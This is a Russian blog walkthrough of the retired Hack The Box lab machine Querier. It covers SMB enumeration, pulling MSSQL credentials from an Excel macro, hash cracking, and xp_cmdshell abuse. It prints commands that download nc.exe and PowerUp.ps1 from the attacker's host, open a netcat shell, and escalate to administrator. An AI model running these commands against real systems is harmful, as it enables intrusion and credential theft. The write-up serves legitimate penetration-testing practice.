Прохождение лабораторной машины для пентеста «Hackthebox — Querier»

в 18:49, , рубрики: hackthebox, pentest, информационная безопасность

Привет! Из этой статьи вы узнаете о способе атаки на удаленный сервер, используя особенности MySQL, создания reverse shell для закрепления в системе и пример эксплуатации плохо сконфигурированной групповой политики в ОС Windows.

Под катом пойдет речь про свой опыт прохождения лабораторной машины Querier на портале hackthebox.

Для тех, кто не знает, что такое hackthebox — это портал, на котором вы можете проверить свои умения пентеста на практике, имеются CTF таски и собственно лабораторные машины.

Дисклеймер
В правилах сервиса написано: «Dont share how you hacked each machine with other members. This includes the invite code generation and all challenges». Но так как эта машина уже не активна и хранится в разделе «Retired Machines», доступ к ней имеют только VIP-участники.

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 1

Сбор информации

Начнем разведку с запуска сканирования портов с помощью nmap.

nmap –sC –Pn –A 10.10.10.125

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 2

Перечислим найденные порты.

Enumerate 139/445/tcp (smb)

Воспользуемся утилитой smbclient для доступа к SMB ресурсам сервера.

smbclient –L //10.10.10.125

Пройдясь по всем ресурсам, находим в директории Reports файл “Currency Volume Report.xlsm”.

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 3

Если открыть этот файл стандартным Microsoft Excel, то он окажется на первый взгляд совершенно пустым.

Проанализируем файл, используя утилиту binwalk, которая поможет взглянуть на встроенные файлы xlsm- документа.

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 4

Из вывода binwalk обнаружили несколько интересных файлов, содержащихся в xlsm.
Используя флаг –e, распакуем его.

binwalk –e Currency Volume Report.xlsm

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 5

Теперь воспользуемся утилитой strings для вывода печатных символов. Пробежавшись по файлам, находим интересные данные в vbaProject.bin. Похоже, что мы нашли учетные данные для mysql server’а.

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 6

Подытожим полученную информацию на текущий момент:

  • Мы знаем, что на порту 10.10.10.125:1433 крутится mysql server;
  • У нас есть учетные данные от пользователя mysql server.

Так давайте попробуем подсоединиться к серверу, используя скрипт из модуля impacket.

python mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth

Получаем доступ к MySQL.

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 7

Enumerate MySQL

Перечислим полезную для нас информацию, используя команды из статьи.
Выполнив SQLi, получаем хеш от пароля пользователя mssql-svc.

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 8

Чтобы получить пароль в явном виде, необходимо его сбрутить, используя любой удобный для вас инструмент.

  1. john --format=netntlmv2 hash.txt
  2. hashcat -m 5600 -a 3 hash.txt

Получаем пароль от mssql-svc.

Подключаемся к SQL с новыми кредитами учетными данными.

python mssqlclient.py QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth

Права этого пользователя позволяют нам выполнять xp_cmdshell

Про xp_cmdshell

Вместе с MySQL поставляется большой набор расширенных хранимых процедур. Наиболее интересная из них — xp_cmdshell. Она предоставляет доступ к командной строке операционной системы.

Получаем reverse shell

Пробуем получить оболочку через netcat, для этого нам необходимо загрузить его на атакуемый сервер.

Переходим в директорию на нашей машине, где находится netcat и запускаем:

python –m SimpleHTTPServer

В оболочке mysql для загрузки netcat (nc.exe) на удаленный сервер, выполняем команду powershell, указав путь сохранения.

xp_cmdshell "powershell.exe Invoke-WebRequest "http://10.10.x.x:8000/nc.exe" –
OutFile "C:Usersmssql-svcDesktopnc.exe" "

Запускаем netcat на прослушивание порта 4444.

xp_cmdshell "powershell C:/Users/mssql-svc/Desktop/nc.exe -l -p 4444 -e cmd.exe" 

Запускаем на своей стороне netcat, указав ip и порт, атакуемого сервера и получаем оболочку.

nc 10.10.10.125 4444

Запускаем скрипт от PowerShellMafia для повышения привилегий.

powershell.exe IEX (New-Object Net.WebClient).DownloadString("http://10.10.x.x:8000/PowerUp.ps1"); Invoke-AllChecks

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 9

В результате выполнения скрипта получили учетные данные администратора.

Заходим на ресурсы smb с новыми учетными данными и полномочиями.

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 10

Прохождение лабораторной машины для пентеста «Hackthebox — Querier» - 11

Забираем флаг root.txt. Победа!

Автор: Юрий

Источник


* - обязательные к заполнению поля